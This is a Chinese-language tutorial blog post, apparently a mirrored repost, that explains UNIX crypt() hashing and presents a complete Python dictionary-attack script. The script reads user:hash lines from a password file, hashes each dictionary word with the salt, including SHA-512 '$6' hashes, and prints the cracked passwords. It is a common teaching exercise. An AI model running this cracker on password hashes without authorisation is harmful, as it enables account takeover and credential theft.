zoukankan      html  css  js  c++  java
  • UNIX口令破解机

        在编写我们的UNIX口令破解机时,我们需要使用UNIX 计算口令hash 的crypt()算法。Python 标准库中已自带有crypt 库。要计算一个加密的UNIX 口令hash,只需调用函数crypt.crypt(),并将口令和salt 作为参数传递给它。该函数会以字符串形式返回口令的hash。

    设计思路:

        黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。 这就是:字典攻击法 ,来破解加密的口令。

    环境:Ubuntu
    	  Python3.5.2
    	  
    # -*- coding: UTF-8 -*-
    #破解UNIX口令密码
    import crypt
    
    def testPass(cryptPass):	#穷举密码
      salt = cryptPass[0:2]
      dicFile = open('dicfile.txt', 'r')
      if salt == '$6':
        for word in dicFile.readlines():
          word = word.strip()
          cryptWord = crypt.crypt(word,cryptPass)
          if cryptWord == cryptPass:
            print('[+] Found Password:' + word)
            return
        else:
          print('[-] Not Found Password')
          return
      else:
        for word in dicFile.readlines():
          word = word.strip()
          cryptWord = crypt.crypt(word, salt)
          if cryptWord == cryptPass:
            print('[+] Found Password:' + word)
            return
        else:
          print('[-] Not Found Password')
          return
    
    def main():		#处理口令文件
      passFile = open('passwords.txt','r')
      for line in passFile.readlines():
        if ':' in line:
          user = line.split(':')[0]
          cryptPass = line.split(':')[1].strip()
          print('[*] Cracking Password For: ' + user)
          testPass(cryptPass)
    
    if __name__ == '__main__':
      main()
     

    get源代码戳我

  • 相关阅读:
    两种代理模式(JDK和Cglib)实例
    打印1到最大的n位数
    二叉树的构建以及先中后序遍历
    二维数组的查找
    斐波那契递归和非递归俩种算法实例
    淘宝tairKV分布式
    OSI七层模型详解
    Spring事务配置的五种方式
    linux中cat、more、less、tail、head命令的区别
    跨域的理解与实现
  • 原文地址:https://www.cnblogs.com/zhichaoma/p/7881835.html
Copyright © 2011-2022 走看看